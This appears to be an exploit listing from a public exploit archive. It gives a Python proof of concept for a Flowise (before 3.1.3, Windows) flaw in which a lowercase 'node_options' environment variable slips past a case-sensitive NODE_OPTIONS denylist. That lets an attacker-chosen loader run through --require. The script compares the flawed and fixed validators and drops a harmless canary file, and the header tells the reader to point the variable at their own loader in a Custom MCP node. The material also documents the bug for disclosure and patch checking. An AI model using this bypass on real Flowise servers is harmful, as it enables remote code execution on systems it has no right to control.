Share
## https://sploitus.com/exploit?id=PACKETSTORM:225290
# Exploit Title:        Flowise  3.1.3 - arbitrary code execution
    # CVE:                  CVE-2026-58057
    # Date:                 2026-06-29
    # Exploit Author:       Mohammed Idrees Banyamer
    # Author Country:       Jordan
    # Instagram:            @banyamer_security
    # Author GitHub:        https://github.com/mbanyamer
    # Author Blog  :        https://banyamersecurity.com/blog/
    # Vendor Homepage:      https://flowiseai.com
    # Software Link:        https://github.com/FlowiseAI/Flowise
    # Affected:             Flowise < 3.1.3 (Windows deployments)
    # Tested on:            Windows + Flowise 3.1.2
    # Category:             Remote Code Execution
    # Platform:             Windows
    # Exploit Type:         Authenticated
    # CVSS:                 2.3 (Medium)
    # Description:          On Windows, the Custom MCP stdio environment variable validation uses case-sensitive comparison. 
    #                       Supplying "node_options" bypasses the NODE_OPTIONS denylist and allows arbitrary code execution via --require.
    # Fixed in:             3.1.3 (switched to allow-list)
    # Usage:
    #   python3 exploit.py
    #
    # Examples:
    #   python3 exploit.py
    #   python3 exploit.py --marker C:\\Temp\\pwned.txt
    #
    # Notes:
    #   โ€ข Requires authenticated access to configure Custom MCP node
    #   โ€ข Only affects Windows deployments
    #   โ€ข Demonstrates bypass + canary RCE
    #
    # How to Use
    #
    # Step 1: Run the PoC to validate the bypass
    # Step 2: In Flowise, configure a Custom MCP node with "node_options" env var pointing to your loader
    
    import argparse
    import json
    import os
    import pathlib
    import platform
    import shutil
    import subprocess
    import sys
    import tempfile
    
    def flowise_style_validate(env):
        dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
        for key, value in env.items():
            if key in dangerous:
                raise ValueError(f"Environment variable {key!r} modification is not allowed")
            if "\x00" in key or "\x00" in str(value):
                raise ValueError("Environment variables cannot contain null bytes")
    
    def normalized_validate(env):
        dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
        for key, value in env.items():
            if key.upper() in dangerous:
                raise ValueError(f"Environment variable {key!r} modification is not allowed")
            if "\x00" in key or "\x00" in str(value):
                raise ValueError("Environment variables cannot contain null bytes")
    
    def run_node_canary(marker):
        node = shutil.which("node")
        if not node:
            return {"node_found": False, "canary_created": False}
        
        marker_path = pathlib.Path(marker).resolve()
        loader_path = marker_path.with_suffix(".loader.js")
        loader_path.write_text(
            "require('fs').writeFileSync(process.env.FLOWISE_POC_MARKER, 'node_options honored - RCE achieved!')\n",
            encoding="utf-8",
        )
        
        env = os.environ.copy()
        env.pop("NODE_OPTIONS", None)
        env.pop("node_options", None)
        env["node_options"] = f"--require {loader_path}"
        env["FLOWISE_POC_MARKER"] = str(marker_path)
        
        if marker_path.exists():
            marker_path.unlink()
        
        completed = subprocess.run(
            [node, "-e", "process.exit(0)"],
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )
        
        return {
            "node_found": True,
            "node": node,
            "returncode": completed.returncode,
            "stderr": completed.stderr.strip(),
            "marker": str(marker_path),
            "canary_created": marker_path.exists(),
            "canary_content": marker_path.read_text(encoding="utf-8") if marker_path.exists() else "",
        }
    
    def run(marker):
        exact_upper_blocked = False
        lower_variant_accepted = False
        normalized_blocks_lower = False
        
        try:
            flowise_style_validate({"NODE_OPTIONS": "--require blocked.js"})
        except ValueError:
            exact_upper_blocked = True
        
        try:
            flowise_style_validate({"node_options": "--require accepted.js"})
            lower_variant_accepted = True
        except ValueError:
            lower_variant_accepted = False
        
        try:
            normalized_validate({"node_options": "--require accepted.js"})
        except ValueError:
            normalized_blocks_lower = True
        
        node_result = run_node_canary(marker)
        
        result = {
            "platform": platform.platform(),
            "windows": os.name == "nt",
            "flowise_style_exact_upper_blocked": exact_upper_blocked,
            "flowise_style_lower_variant_accepted": lower_variant_accepted,
            "normalized_validator_blocks_lower_variant": normalized_blocks_lower,
            "node_canary": node_result,
            "finding_reproduced": lower_variant_accepted and (node_result.get("canary_created") if os.name == "nt" else True),
        }
        
        print(json.dumps(result, indent=2))
        return 0 if result["finding_reproduced"] else 1
    
    def banner():
        print(r"""
    โ•”โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ•—
    โ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘
    โ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•
    โ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘  โ•šโ–ˆโ–ˆโ•”โ•  โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•  โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—
    โ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ•šโ•โ• โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘
    โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•  โ•šโ•โ•โ•โ•   โ•šโ•โ•   โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•     โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•  โ•šโ•โ•
            โ•”โ•โ•— Banyamer Security โ•”โ•โ•—
    """)
    
    def main():
        banner()
        parser = argparse.ArgumentParser(description="CVE-2026-58057 PoC")
        parser.add_argument("--marker", default=str(pathlib.Path(tempfile.gettempdir()) / "flowise_node_options_case_bypass_marker.txt"))
        args = parser.parse_args()
        raise SystemExit(run(args.marker))
    
    if __name__ == "__main__":
        main()